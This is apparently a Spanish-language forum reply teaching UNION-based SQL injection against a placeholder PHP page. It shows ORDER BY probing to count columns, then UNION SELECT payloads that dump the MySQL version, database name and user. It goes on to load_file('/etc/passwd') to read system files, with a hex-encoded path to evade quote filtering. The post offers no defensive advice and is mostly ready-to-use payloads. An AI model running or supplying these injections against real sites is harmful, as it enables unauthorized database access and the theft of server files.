En realidad no hablamos de tablas sino de columnas de una tabla.
http://www.vulnsql.com/ownz.php?id=2 order by 4-- Ok
http://www.vulnsql.com/ownz.php?id=2 order by 5-- Error
Quiere decir que la tabla sobre la que esta ejecutando el SQL tiene 4 columnas.
Imagina que estas viendo el perfil de un usuario por lo que ownz.php hace un select de alguna tabla de usuarios (la cual desconocemos el nombre) .... de esta forma sabemos que tiene 4 columnas (por ejemplo podria ser algo asi: id, user, pass, mail)
Como tanto el nombre de la tabla como el nombre de las columnas es desconocido, podemos asignar al id que nos pide el GET un valor inexistente unido a lo que queramos mostrar en pantalla:
http://www.vulnsql.com/ownz.php?id=-1 union select 1,2,3,4
supongamos que id=2 devolveria:
ROW[0] = 2, pepelux, superpass,
admin@admin.comen este caso el id=-1 devuelve 0 resultados pero como hacemos un union con otros valores, el resultado seria asi:
ROW[0] = 1, 2, 3, 4
y en pantalla en lugar de salir los datos del usuario saldra un 2 en el lugar del user, un 3 en el lugar del pass, un 4 en el lugar del mail ...
por lo que si ponemos:
http://www.vulnsql.com/ownz.php?id=-1 union select 1,version(),database(),user()
como user pondra la version del mysql, como pass pondra el nombre de la BBDD y como mail pondra el usuario de mysql que estamos usando.
Y ya que me habeis hecho escribir

... pondre otra opcion muy interesante (que solo va si el usuario de mysql tiene permisos):
http://www.vulnsql.com/ownz.php?id=-1 union select 1,load_file('/etc/passwd'),3,4
o si filtra las comillas, podemos usar HEX:
http://www.vulnsql.com/ownz.php?id=-1 union select 1,load_file(0x2f6574632f706173737764),3,4